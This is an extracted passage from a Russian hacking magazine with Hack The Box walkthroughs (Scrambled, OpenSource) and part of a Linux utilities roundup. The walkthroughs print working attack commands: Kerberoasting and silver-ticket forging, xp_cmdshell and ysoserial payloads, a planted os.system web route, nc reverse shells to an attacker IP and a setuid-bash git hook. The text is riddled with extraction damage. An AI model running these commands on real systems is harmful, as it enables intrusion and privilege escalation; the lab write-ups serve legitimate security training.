На дру гой стра нице отме чаем инс трук цию к ПО, работа юще му на пор те 4411.
Здесь обра тим вни мание на имя сер вера и домен — . Соот -
ветс тву ющие записи добав ляем в файл .

dc1.scrm.local
/etc/hosts

10.10.11.168 scrambled.htb dc1.scrm.local scrm.local

Стра ница IT Services

А так же находим информа цию о том, что имя поль зовате ля может выс тупить
в качес тве пароля.

Ин форма ция о сбро се пароля

Kerberos

Мы можем отпра вить зап рос ASREP, сущес тву ет ли тот или иной акка унт. Есть
воз можность зап росить ключ (AS key) Kerberos это го поль зовате ля, ключ будет
зашиф рован с помощью его пароля. Но дело в том, что сер вер раз лича ет отве -
ты «дан ный флаг не уста нов лен» и «учет ная запись не сущес тву ет». А зна чит,
если прой дем ся по име нам поль зовате лей и для какого-то нам отве тят, что
флаг не уста нов лен, мы узна ем, что эта учет ка сущес тву ет. Сде лать такой
перебор мож но с помощью инс тру мен та  из пакета .

Имя поль зовате ля у нас уже есть.

GetNPUsers impacket

GetNPUsers.py scrm.local/ksimpson -no-pass

Про вер ка сущес тво вания поль зовате ля

Нам отве тили, что флаг не уста нов лен, а зна чит, учет ная запись сущес тву ет.
Теперь с помощью  про верим пароль поль зовате ля.kerbrute

kerbrute_linux_amd64 passwordspray -d scrm.local --dc dc1.scrm.
local users.txt ksimpson

Про вер ка пароля поль зовате ля

Учет ные дан ные ока зались вер ны, поэто му мы можем зап росить тикет поль -
зовате ля и при менить его как аутен тифика тор, вмес то пароля. В этом нам
поможет скрипт  из того же impacket.getTGT

impacket-getTGT scrm.local/ksimpson:ksimpson

По луче ние тикета поль зовате ля ksimpson

Эк спор тиру ем получен ный тикет и под клю чаем ся к служ бе SMB. Что бы уда -
лось аутен тифици ровать ся, вре мя на тво ем хос те и на сер вере дол жно отли -
чать ся не боль ше чем на пять минут. Поэто му сто ит обно вить локаль ное вре мя
по про токо лу NTP.

sudo ntpdate scrm.local
export KRB5CCNAME=ksimpson.ccache
impacket-smbclient -k scrm.local/ksimpson@dc1.scrm.local -no-pass

Под клю чение к ресур су SMB

Ко ман дой  получа ем спи сок ресур сов.shares

Продолжение статьи →
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ПРИМЕНЯЕМ
ASREPROAST И KERBEROASTING

ДЛЯ АТАКИ НА SMB И MS SQL

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Прой дясь по катало гам, успешно заходим в .Public

use Pablic

SMB-ресурс Public

Там находим все го один документ. Ска чива ем его коман дой .
В самом докумен те рас ска зано о недав нем взло ме служ бы MS SQL.

get <file>

Со дер жимое заг ружен ного докумен та

Kerberoasting

Раз мы име ем дело с MS SQL, зна чит, можем выпол нить ата ку Kerberoasting.
Ее цель — соб рать билеты TGS для служб, которые запус кают ся от име ни
поль зовате лей, а не от сис темных уче ток. Тикеты TGS зашиф рованы клю чами,
получен ными из паролей поль зовате лей, а зна чит, их дан ные мож но взло мать
прос тым перебо ром. Уяз вимые учет ные записи опре делим по полю SPN,
которое не будет пус тым. Выпол ним зап рос TGS с помощью скрип та

 из все того же impacket.GetUserSPNs

  
GetUserSPNs.py scrm.local/ksimpson -dc-ip dc1.scrm.local -dc-host 
dc1.scrm.local -request -k -no-pass

По луче ние тикета учет ной записи служ бы MS SQL

Те перь сох раним тикет в файл и отда дим JTR для перебо ра. Пароль учет ной
записи получим очень быс тро.

john sqlsvc.hash --wordlist=rockyou.txt

Па роль учет ной записи

Silver Ticket

Мы получи ли пароль служ бы, и, что бы с ней работать, сле дующим шагом дол -
жно быть получе ние «сереб ряного билета». Silver ticket — это реаль ный билет
TGS для опре делен ной служ бы, в котором исполь зует ся NTLM поль зовате ля.
Он даст нам дос туп к этой служ бе. Что бы сге нери ровать такой билет, нам нуж -
но знать NTLM-хеш пароля и SID домена. SID домена получим из отла доч ной
информа ции при выпол нении .impacket-secretsdump

 
impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local 
-no-pass -debug

SID домена

А хеш генери руем на  из получен ного пароля.сай те md5decrypt.net

NTLM-хеш пароля

А теперь генери руем билет.

ticketer.py -domain scrm.local -spn MSSQLSVC/dc1.scrm.local 
-user-id 500 Administrator -nthash 
b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-
1827831105-2542523200

Соз дание сереб ряного билета

Эк спор тиру ем соз данный билет в рабочее окру жение и под клю чаем ся к служ -
бе MS SQL, исполь зуя аутен тифика цию Kerberos.

export KRB5CCNAME=Administrator.ccache
 mssqlclient.py dc1.scrm.local -k -no-pass

SELECT name FROM master.dbo.sysdatabases

Су щес тву ющие базы дан ных

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü SqlSvc

Пе рей дем к базе дан ных  и получим из нее таб лицы.ScrambleHR

 use ScrambleHR
       SELECT name FROM SYSOBJECTS WHERE xtype = 'U'

Таб лицы в базе ScrambleHR

Нас инте ресу ет таб лица поль зовате лей . Получа ем все ее записи.UserImport

   select * from UserImport

Дан ные в таб лице UserImport

С най ден ными учет ными дан ными под клю чить ся никуда не удас тся, поэто му
поп робу ем получить управле ние через MS SQL. Пер вым делом нуж но акти -
виро вать . Из нашего интер пре тато ра это мож но сде лать встро -

енной коман дой , пос ле чего выпол няем рекон фигура -
цию.

xp_cmdshell
enable_xp_cmdshell

enable_xp_cmdshell
reconfigure

Вклю чение xp_cmdshell

Те перь мы можем выпол нять коман ды через .xp_cmdshell

По луче ние коман дной обо лоч ки

Сра зу про кинем реверс-шелл, который сге нери руем с помощью очень удоб -
ного . Для него нуж но ука зать парамет ры,

такие как локаль ные хост и порт, а так же язык и целевую сис тему. Допол -
нитель но зада ем кодиров ку Base64. Лис тенер запус каем коман дой 

.

Online Reverse Shell Generator

rlwrap -
cAr nc -lvnp 4321

xp_cmdshell powershell -e JABjA....AoACkA

Бэк коннект с уда лен ного хос та

По луча ем бэк коннект и прод вига емся даль ше.

Ïîëüçîâàòåëü MiscSvc

У нас уже есть учет ные дан ные поль зовате ля MiscSvc, поэто му поп робу ем
получить новую сес сию PowerShell:

$pass = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText 
-Force
$cred = New-Object System.Management.Automation.PSCredential(
"scrm\miscsvc", $pass)
Invoke-Command -Computer dc1 -ScriptBlock { whoami } -Credential 
$cred

Вы пол нение коман ды whoami от име ни дру гого поль зовате ля

Так как коман да была выпол нена в дру гом кон тек сте, проб росим наш
реверс-шелл и про дол жим работу от име ни MiscSvc:

Invoke-Command -Computer dc1 -ScriptBlock { powershell -e 
JABjA....AoACkA } -Credential $cred

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Зап росив под робную информа цию о поль зовате ле, замеча ем, что он сос тоит
в груп пах ITShare и ITUsers.

whoami /all

Ин форма ция о поль зовате ле

Пе рей дем к общим ресур сам и най дем там каталог IT. Если зай ти еще даль ше,
то нат кнем ся на исполня емый файл .ScrambleClient.exe

Со дер жимое катало га Sales Order Client

С помощью  забира ем фай лы с хос та.netcat

#local host
nc -lvp 6543 > ScrambleClient.exe
nc -lvp 7654 > ScrambleLib.dll

#remote host
serstype ScrambleClient.exe | C:\U \miscsvc\Documents\nc.exe 10.10.

14.113 6543
serstype ScrambleLib.dll | C:\U \miscsvc\Documents\nc.exe 10.10.14.

113 7654

И так как это при ложе ние .NET, мы можем его лег ко деком пилиро вать
с помощью . По клас су  понима ем, что это то самое при -

ложе ние, которое работа ет на пор те 4411.

dnSpy LoginWindow

Де ком пилиро ван ный класс LoginWindow

Ес ли мы выпол ним коман ду , нам вер нут ответ  и сери -

али зован ный объ ект. Инте рес но.

LIST_ORDERS SUCCESS

Ко ман да LIST_ORDERS

Де коди рова ние отве та

В исходном коде находим фун кцию заг рузки.

Ис ходный код фун кции UploadOrder

Так мож но сери али зовать объ ект и отпра вить его через коман ду
. Тог да при десери али зации он дол жен будет выпол нить ся.

Для сери али зации будем исполь зовать  для .NET. Сна чала ска чаем
со сво его хос та netcat, для чего коман дой 

под нима ем веб-сер вер.

UPLOAD_ORDER
ysoserial

python3 -m http.server -p 8080

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c 
"powershell wget 10.10.14.64:8080/nc64.exe -O C:\Windows\Temp\nc.
exe" -o base64

Се риали зация наг рузки

От прав ка сери али зован ных дан ных

Ког да файл будет заг ружен, пов торим наш трюк. Но на этот раз реверс-шелл
соз дадим с помощью ска чан ного netcat. В соз данный лис тенер дол жен при -
лететь бэк коннект в кон тек сте SYSTEM.

ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "C:\
Windows\Temp\nc.exe 10.10.14.64 4321 -e  cmd.exe" -o base64

Флаг рута

За бира ем флаг рута, и машина зах вачена!

https://md5decrypt.net/en/Ntlm/
https://www.revshells.com/
https://github.com/dnSpy/dnSpy
https://github.com/pwntester/ysoserial.net


АТАКУЕМ УДАЛЕННЫЙ ХОСТ
ЧЕРЕЗ GIT
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hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе мы сна чала покопа емся
в репози тории Git, что бы най ти учет ные
дан ные, а затем обна ружим уяз вимость,
которая даст нам дос туп к хос ту.
При повыше нии при виле гий реали зуем
одну из тех ник GTFOBins.

Зах ватывать мы будем тре ниро воч ную машину OpenSource с пло щад ки 
, оце нен ную как лег кая.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.164    opensource.htb

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Nmap нашел все го два откры тых пор та: 22 — служ ба OpenSSH 7.6p1 и 80 —
веб-сер вер Python Werkzeug 2.1.2; а так же порт 3000, который филь тру ется.
Пос мотрим, что нам может показать веб-сер вер.

Глав ная стра ница сай та opensource.htb

ÒÎ×ÊÀ ÂÕÎÄÀ
Ви дим ссыл ку для ска чива ния фай ла. По наз ванию архи ва можем понять, что
это какие-то исходные коды.

Пред ложение ска чать архив

В архи ве есть каталог , по которо му мы дол жны про гулять ся..git

Со дер жимое архи ва

Рас паку ем архив и зай дем в каталог, содер жащий репози торий Git. Пос ле это -
го прос мотрим сущес тву ющие вет ки.

git branch

Вет ки Git-репози тория

Те перь получим исто рию ком митов, по которым в даль нейшем прой дем ся.

git log dev

Ис тория ком митов

Те перь прос матри ваем каж дый ком мит в надеж де най ти важ ные дан ные. И в
одном из них обна ружи ваем URL прок си-сер вера с ука зан ными учет ными дан -
ными.

git show a76f8f75f7a4a12b706b0cf9c983796fa1985820

Ком мит с учет ными дан ными

Боль ше в репози тории ничего не находим, поэто му начина ем изу чать
исходный код при ложе ния.

Со дер жимое фай ла static/views.py

Как видишь, мы можем заг ружать фай лы с любым рас ширени ем. Сра зу бро -
сает ся в гла за фун кция  — стро ка 14. Пос ледова тель ность 

филь тру ется, что не поз волит записать свой SSH-ключ поль зовате лю, даже
если мы узна ем путь. Одна ко файл сох раня ется с тем же име нем без вся ких
вре мен ных меток, что дает нам воз можность переза писы вать сущес тву ющие
фай лы.

os.path.join ../

Продолжение статьи →
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АТАКУЕМ УДАЛЕННЫЙ ХОСТ ЧЕРЕЗ GIT

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Да вай поп робу ем переза писать текущий файл, добавив в его конец свой обра -
бот чик, к при меру ./ralf

@app.route('/ralf')
:def ralf()

  return os.system(request.args.get('cmd'))

Ссыл ку на стра ницу для заг рузки фай ла най дем чуть ниже кноп ки ска чива ния
репози тория.

Фор ма заг рузки исходных кодов

Фор ма для заг рузки фай лов

Заг рузим наш новый файл  и перех ватим зап рос на заг рузку в 

.

view.py Burp

Intercept

Пе рех вачен ный зап рос на заг рузку фай ла

Для переза писи фай ла изме ним  и вмес то  запишем пол ный
путь к это му фай лу — .

filename views.py
/app/app/views.py

Из менен ный зап рос на заг рузку фай ла

Ког да все будет готово, отпра вим зап рос даль ше на сер вер. На стра нице
получим сооб щение, что заг рузка прош ла успешно.

Со обще ние об успешной заг рузке фай лов

Те перь мы можем выпол нять коман ды и сра зу поп робу ем запус тить
реверс-шелл:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 
4321 >/tmp/f

Я выпол нял зап рос через , поэто му мне нуж но было закоди ровать
реверс-шелл в кодиров ку URL.  закоди рует абсо лют но все сим -

волы, а не толь ко спе циаль ные. Это не очень удоб но, поэто му я прос то встав -
ляю текст в  и кодирую ком бинаци ей кла виш Ctrl-U. Одна ко

сго дит ся и любой дру гой метод.

curl
Burp Encoder

Burp Repeater

curl 'http://opensource.htb/ralf?cmd=rm /tmp/f;mkfifo /tmp/f;cat /
tmp/f|/bin/sh -i 2>&1|nc 10.10.14.49 4321 >/tmp/f'

Ис ходная коман да curl

curl 'http://opensource.htb/ralf?cmd=rm+/tmp/f%3bmkfifo+/tmp/
f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.49+4321+>/tmp/f'

За коди рован ная коман да curl

Ос талось коман дой  запус тить лис тенер

и выпол нить коман ду для запус ка реверс-шел ла.

rlwrap -cAr nc -lnvp 4321

Сес сия поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

По име ни поль зовате ля понима ем, что находим ся внут ри кон тей нера Docker.
Даль нейший путь прод вижения дол го искать не при ходит ся: вспо мина ем
про филь тра цию под клю чений к пор ту 3000. Сна чала про верим адрес
докер-машины, а потом уже поп робу ем под клю чить ся к пор ту 3000 хос товой.

Ре зуль тат выпол нения коман ды ifcong

Об ращение к пор ту 3000 с помощью curl

Для удоб ной работы через бра узер нам нуж но тун нелиро вать тра фик. Я буду
исполь зовать , который нуж но запус тить как на локаль ном хос те,

в качес тве сер вера, так и на уда лен ном — как кли ент. В парамет ре сер верной
час ти ука зыва ем, что ожи даем под клю чения (парамет ры ), а так же
порт для соз дания тун неля.

chisel

--reverse

 chisel.bin server --reverse --port 8000

Ло ги сер верной час ти

Те перь на уда лен ной машине ини циали зиру ем кли ент скую часть. В парамет рах
ука зыва ем адрес сер вера chisel и порт для под клю чения, а так же нас трой ки
прок сирова ния.

chisel.bin client 10.10.14.49:8000 R:3000:172.17.0.1:3000

Ло ги кли ент ской час ти

В логах сер вера дол жны уви деть сооб щение о соз дании сес сии.

Ло ги сер верной час ти

Та ким обра зом, весь тра фик, который мы пош лем на локаль ный порт 3000,
будет тун нелиро ван на порт 3000 ука зан ного хос та (в дан ном слу -
чае 172.17.0.1) через докер-машину. Теперь откро ем сайт в бра узе ре и уви -
дим Git.

Глав ная стра ница сай та на пор те 3000

Вос поль зовав шись учет ными дан ными, которые мы наш ли в репози тории,
авто ризу емся на сай те.

Глав ная стра ница сай та пос ле авто риза ции

Пе рехо дим к единс твен ному дос тупно му репози торию и видим бэкап домаш -
него катало га поль зовате ля.

Со дер жимое Git-репози тория

Ко неч но же, нас инте ресу ет при ват ный ключ SSH.

Со дер жимое катало га .ssh

SSH-ключ поль зовате ля dev01

Ко пиру ем его на локаль ный хост, коман дой  наз нача ем

необ ходимые пра ва и под клю чаем ся с этим клю чом уже к основно му хос ту.

chmod 0600 id_rsa

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пер вым делом я, как обыч но, поис кал все сом нитель ные нас трой ки и поль -
зователь ские скрип ты с помощью мно гок ратно упо минав шегося в моих рай -
тапах , но ничего не нашел.LinPEAS

Сле дующий шаг — монито ринг запус каемых при ложе ний. Что бы най ти
запус каемые в сис теме про цес сы, будем исполь зовать ути литу . Заг -
рузим ее на хост при помощи wget, а потом выпол ним.

pspy64

В выводе отме чаем исполь зование коман ды , при чем от име ни при -

виле гиро ван ного поль зовате ля (нулевой UID — это root).

git

Вы вод ути литы pspy64

Тут я обра тил ся к . Это база тех ник, которые поз воля ют повысить

при виле гии при помощи стан дар тных при ложе ний Linux. В час тнос ти, есть 
 исполь зования Git, которая поз воля ет получить ста биль ную обо лоч ку

в при виле гиро ван ном кон тек сте. Нам она под ходит, толь ко вмес то кон тек ста
sudo у нас будет кон текст поль зовате ля root.

GTFOBins

тех -
ника

Опи сание тех ники sudo GTFOBins для Git

Здесь исполь зует ся перех ватчик Git, который свя зан с . То есть мы

можем записать свой скрипт в файл , и код выпол -

нится при выпол нении коман ды . В качес тве метода пер систен -
тнос ти будем уста нав ливать S-бит фай лу коман дной обо лоч ки .

pre-commit
~/.git/hooks/pre-commit

git commit
/bin/bash

# echo "chmod u+s /bin/bash" >> ~/.git/hooks/pre-commit
mv ~/.git/hooks/pre-commit.sample ~/.git/hooks/pre-commit

Со дер жимое фай ла pre-commit

Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла -
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные сис -
темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Пра ва фай ла /bin/bash

Как видишь, S-бит уста нов лен, поэто му повыша ем кон текст и забира ем флаг.

/bin/bash -p

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
https://github.com/DominicBreuker/pspy
https://gtfobins.github.io/
https://gtfobins.github.io/gtfobins/git/
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Польский Кот
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Нас тоящие воины Linux обща ются
с коман дной стро кой ежед невно, а некото -
рые в ней прос то живут. В оче ред ной под -
борке я соб рал ути литы, которые облегчат
эту жизнь, сде лают ее лов чее и веселее.
Наиболь шую поль зу эти тул зы при несут
сисад мину и хакеру, но и прос той юзер
для себя кое-что най дет. В общем,
налетай! Впе реди у нас 13 инте рес ных
полез няшек.

Это уже пятая моя под борка ути лит, облегча ющих жизнь в мелочах. Бла годар -
ные читате ли про дол жают откры вать передо мной свои кла дов ки, а я выношу
отту да и показы ваю на стра ницах «Хакера» все самое вкус ное.

Не забудь заг лянуть в прош лые четыре час ти. В  мы рас смат ривали
в основном сетевые ути литы, во  — даш борды и про чие укра шатель -
ства, в  я скон цен три ровал ся на жиз ни в Windows с WSL, а 
была для адми нис тра торов Linux.

пер вой
вто рой

треть ей чет вертая

NEZHA

 — лег ковес ный и кра сивый ана лог Zabbix, выводит в веб-панели свод ку
по сер верам, их сис темным ресур сам и дру гую информа цию.
Nezha

Ус танов ка отно ситель но неп ростая: тебе понадо бит ся живой Docker, акка унт
на GitHub и домен ное имя.

Для начала соз дай при ложе ние на GitHub: перей ди на 
и наж ми New OAuth App. При запол нении фор мы пот ребу ется ука зать адрес
домаш ней стра ницы при ложе ния (для это го нужен будет домен), а в поле
Authorization callback URL впи сать . Затем
соз дай на стра нице при ложе ния Client ID и Client Secret и запиши — боль ше их
пос мотреть не получит ся.

GitHub Developer

<твой домен>/oauth2/callback

Те перь выпол ни в тер минале сле дующую коман ду:

curl 
  

-L https://raw.githubusercontent.com/naiba/nezha/master/
script/install_en.sh -o nezha.sh && chmod +x nezha.sh && sudo ./
nezha.sh

Пос ле ее выпол нения откро ется тек сто вое меню. Выбира ем пер вый пункт.

Ме ню

Ус тановоч ный скрипт задаст нес коль ко воп росов, в том чис ле о пор тах.
По умол чанию HTTP-сер вер с интерфей сом под нимет ся на 8008-м пор те,
а сер вер для сбо ра информа ции от аген тов — на 5555-м.

Го тово, панель под нялась. Мож но ее открыть, вой ти через GitHub и соз дать
новый сер вер.

Ад минка

Пос ле соз дания сер вера ты уви дишь в панели его сек рет. Он-то нам и нужен
для уста нов ки аген та.

Те перь мож но уста новить сам агент. Он ста вит ся тем же скрип том, что
и панель, но надо выб рать пункт 8. При уста нов ке у тебя спро сят адрес панели
и сек рет, соз данный на прош лом шаге. Пос ле вво да этих дан ных кли ент сра зу
зарабо тает, боль ше ничего нас тра ивать не при дет ся.

Те перь на глав ной стра нице появит ся кар точка с информа цией сер вера, а в
панели мож но открыть веб-тер минал. Он пол ноцен ный: под держи вает цве та,
обновля ется в реаль ном вре мени и реаги рует на спе циаль ные сочета ния кла -
виш.

Кноп ка откры тия тер минала

В нас трой ках панели мож но поменять и тему. На скрин шоте ниже — тема Neko
Mdui.

Nezha мне очень пон равилась. Рекомен дую как минимум .по тыкать демо

AUTOREGEX

Ре гуляр ные выраже ния — мощ ней ший спо соб пре обра зова ния тек сто вых дан -
ных. Одна ко без опы та сос тавле ние регуляр ки может отнять боль ше вре мени,
чем она сэконо мит. Встре чай  — ИИ-генера тор регуляр ных выраже -
ний из обыч ных челове кочи таемых опи саний на англий ском.

AutoRegex

Match if email is on gmail

Внут ри у это го сер виса — , пуб личная ней рон ка, которая пишет
код по сло вес ному опи санию.

OpenAI Codex

С прос тыми зап росами AutoRegex справ ляет ся очень неп лохо и поз воля ет
здо рово сэконо мить вре мя.

Единс твен ное, что пор тит жизнь, — это малень кие лимиты на бес плат ное
исполь зование. Впро чем, даже их дол жно хва тить: бес плат но пред лага ется
штук десять зап росов без акка унта и еще десять в месяц, если зарегис три -
руешь ся. Для трех скрип тов в месяц это го с головой хва тит, но при необ -
ходимос ти мож но зап латить или прос то зарегать еще одну учет ку и про дол жить
поль зовать ся.

HUNT

 — это ути лита для локаль ного поис ка фай лов, аль тер натива стан дар тно му
locate. Судя по моему опы ту, работа ет Hunt быс трее, чем nd, fd и locate.
Hunt

На писа на прог рамма на Rust, а сле дова тель но, ста вит ся через Cargo:

huntcargo install 

Здесь есть нес коль ко филь тров и прос тых нас тро ек, которых тем не менее
дос таточ но для пов седнев ного исполь зования. Вот некото рые из них:

 — искать толь ко объ екты с точ но сов пада ющи ми име нами (по зап росу
 не будет най ден );

• -e
ssh sshd_config

 — исклю чить из поис ка опре делен ные пап ки;• -i /path1,/path2
 — вклю чить поиск внут ри скры тых папок;• -h
 — не выводить пояс нения, толь ко спи сок най ден ных фай лов. Полез но

для скрип тов;
• -s

 — точ ное сов падение регис тра.• -c

Боль ше под робнос тей — в репози тории прог раммы.

PLOW

 пред назна чен для наг рузоч ного тес тирова ния HTTP-сер веров. Он осно -
ван на Go-биб лиоте ке fasthttp, которая  стан дар тной
реали зации, что дела ет его каким-то ано маль но быс трым, по мень шей мере
субъ ективно.

Plow
до десяти раз быс трее

Тест модуля http.server из Python 3

Plow уме ет отда вать ста тис тику в реаль ном вре мени не толь ко в окне тер -
минала, но и в бра узе ре (по стан дарту встро енный сер вер дос тупен на 18888-
м пор те).

За пуск воз можен из Docker или уста нов кой из исходни ков:

go install github.com/six-ddc/plow@latest

plow <args>

Аль тер натива:

 docker run --rm --net=host ghcr.io/six-ddc/plow <args>

Ар гумен ты в целом ничего необыч ного собой не пред став ляют: тут у нас стан -
дар тная для таких прог рамм нас трой ка количес тва потоков ( ), жела емо го
количес тва зап росов ( ), вре мени тес та (  или , нап ример)

и HTTP-метода ( ). Про дру гие парамет ры мож но под робно

про читать в справ ке прог раммы ( ). Цель переда ется без спе циаль ных
парамет ров.

-c
-n -d 30s -d 5m

--method="GET"
--help

DOOIT

Для ведения спис ка дел каж дый исполь зует что ему удоб нее (я, к при меру,
завел при ват ный канал в Telegram, в котором есть толь ко я, и шлю все дела
туда). Если ты про жива ешь в тер минале, гра фичес кие при ложе ния тебе чуж ды
и сооб щать ком пани ям о пла ниру емых объ емах закуп ки кофе ты не хочешь,
мож но исполь зовать локаль ный менед жер задач вро де . Он хра нит все
толь ко у тебя на жес тком дис ке, работа ет толь ко из тер минала и до боли
напоми нает Vim, с тем лишь отли чием, что пос ледний не зак рыва ется по Ctrl-
C.

Dooit

Для уста нов ки нужен Git и Python вер сии не мень ше 3.10, что может быть
проб лемой при исполь зовании в некото рых окру жени ях. У меня в WSL пос -
ледняя вер сия Python все еще 3.8, так что для этой прог раммы приш лось рас -
чехлить вир туал ку с более све жей сис темой.

Ес ли у тебя всё есть, то ста вит ся Dooit все го одной коман дой:

 pip python3 -m install git+https://github.com/kraanzu/dooit.git

За пус кает ся по коман де  в тер минале.dooit

CONTAINERSSH

За нят ная наход ка — , поз воля ющий незамет но загонять SSH-
кли ентов в изо лиро ван ные кон тей неры, при чем эти кон тей неры соз дают ся
пря мо на лету, в момент под клю чения.

ContainerSSH

При мер от авто ра ути литы. Поль зователь при под клю чении ока зыва ется
в кон тей нере

Ус танов ка очень прос тая и дела ется в одну коман ду с исполь зовани ем Docker
или Kubernetes. Качай содер жимое  и, если у тебя Docker,
выпол няй:

пап ки-при мера

docker-compose up -d

А если кубер:

kubectl apply -f kubernetes.yaml

Тес товый сер вер будет запущен на 2222-м пор те локаль ного хос та и будет
при нимать поль зовате ля  с любым паролем.foo

Ис пра вить это недора зуме ние мож но, написав свой сер вер аутен тифика -
ции: это обыч ный HTTP-сер вер с дву мя эндпой нта ми (  и ),

которые при нима ют и отда ют JSON. Вот при мер зап роса и отве та в слу чае
аутен тифика ции по паролю из докумен тации:

/password /pubkey

{
   : ,"username" "username"
   : ,"remoteAddress" "127.0.0.1:1234"
   : ,"connectionId" "An opaque ID for the SSH connection"
   : "passwordBase64" "Base64-encoded password"

}

{
 : "success" true

}

Выг лядит как отличное решение для изо ляции поль зовате лей (нап ример, гос -
тевые сес сии или песоч ницы для недове рен ных лич ностей) и про веде ния вся -
ких сорев нований, где кли енты (читай — игро ки) дол жны получать дос туп
к оди нако вым окру жени ям по оди нако вым учет ным дан ным, но не дол жны
иметь воз можнос ти что-то сло мать или помешать друг дру гу.

CATP

Час то скрип ты отправ ляют про межу точ ные дан ные в .  —

это ути лита, которая поз воля ет перех ватить такой вывод и вывес ти его
на экран.

/dev/null Catp

Ни какой магии в работе catp нет: внут ри там ptrace, с помощью которо го
перех ватыва ется сис темный вызов . К сожале нию, на боль шинс тве сис -

тем это озна чает, что для работы пот ребу ются пра ва root.

write

Ус танов ка не тре бует ся: дос таточ но ска чать пос ледний релиз с 
и запус тить рас пакован ный файл.

GitHub

У ути литы есть все го один необя затель ный аргу мент — PID про цес са,
который нуж но прос лушать. Если его не ука зать, catp перех ватит вывод всех
про цес сов в сис теме.

Продолжение статьи →

https://xakep.ru/2021/06/08/console-utilities/
https://xakep.ru/2021/09/30/console-utilities-2/
https://xakep.ru/2021/11/15/hacker-tools-windows-linux/
https://xakep.ru/2022/05/05/hacker-tools-more/
https://github.com/naiba/nezha
https://github.com/settings/developers
https://ops.naibahq.com/
https://www.autoregex.xyz/
https://openai.com/blog/openai-codex/
https://github.com/LyonSyonII/hunt-rs
https://github.com/six-ddc/plow
https://github.com/valyala/fasthttp#http-client-comparison-with-nethttp
https://github.com/kraanzu/dooit
https://github.com/ContainerSSH/ContainerSSH
https://github.com/ContainerSSH/examples/tree/main/quick-start
https://github.com/rapiz1/catp
https://github.com/rapiz1/catp/releases
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KRUNVM

 — это ути лита для соз дания прос тых вир туалок на осно ве обра зов OCI.
Если нуж но быс тро и лег ко под нимать вир туал ки — вещь слож но замени мая.
Krunvm

Krunvm поз воля ет задавать количес тво ядер ( ) и памяти ( ) вир -

туаль ной машины. Помимо это го, мож но сра зу же ука зать DNS ( ),
рабочую пап ку ( ), а так же проб росить пор ты и катало ги (  и 

 соот ветс твен но). В общем, доволь но гиб кий и прос той инс тру мент,

если не счи тать слож ности с уста нов кой.

--cpus --mem
--dns

--workdir --port --
volume

Ин сталл на голой Ubuntu 22 отнял при лич но вре мени из-за отсутс твия инс -
трук ции. Рас ска жу, как это было, что бы ты не тра тил вре мя.

Для начала нужен ком пилятор Rust, пакет ный менед жер Cargo и зависи -
мос ти, которые пот ребу ются при сбор ке:

apt sudo install rustc cargo patchelf linux-source-5.15.0 libelf-
dev bison flex curl git python3-pyelftools asciidoctor

За тем нуж но ска чать, ском пилиро вать и уста новить :libkrunfw

git clone https://github.com/containers/libkrunfw.git
cd libkrunfw
make

make sudo install

Те перь уста нови :buildah

apt sudo install buildah

Пос ле это го мож но ска чать и соб рать :libkrun

git clone https://github.com/containers/libkrun.git
cd libkrun
make

make sudo install

Фи наль ный аккорд — кача ем и собира ем :krunvm

git clone https://github.com/containers/krunvm.git
cd krunvm
cargo build --release

В  будет лежать готовый билд — . Мож но поль зовать -
ся!
target/release krunvm

ZELLIJ

 — это еще один, при том доволь но инте рес ный, муль тип лексор. Если tmux
тебе вдруг ста нет недос таточ но (или прос то хочет ся поп робовать что-то
новое), то можешь приг лядеть ся к Zellij.

Zellij

Скрин шот из репози тория

Под держи вают ся слои, пла гины и воз можность заранее опи сать свое окру -
жение. Не пред став ляю, чего тут может не хва тить!

До рож ная кар та про екта

Для уста нов ки мож но исполь зовать Cargo или прос то ска чать и рас паковать
.би нар ный релиз

 cargo install --locked zellij

USBGUARD

Ес ли ты не впер вые откры ваешь «Хакер», то навер няка уже слы шал
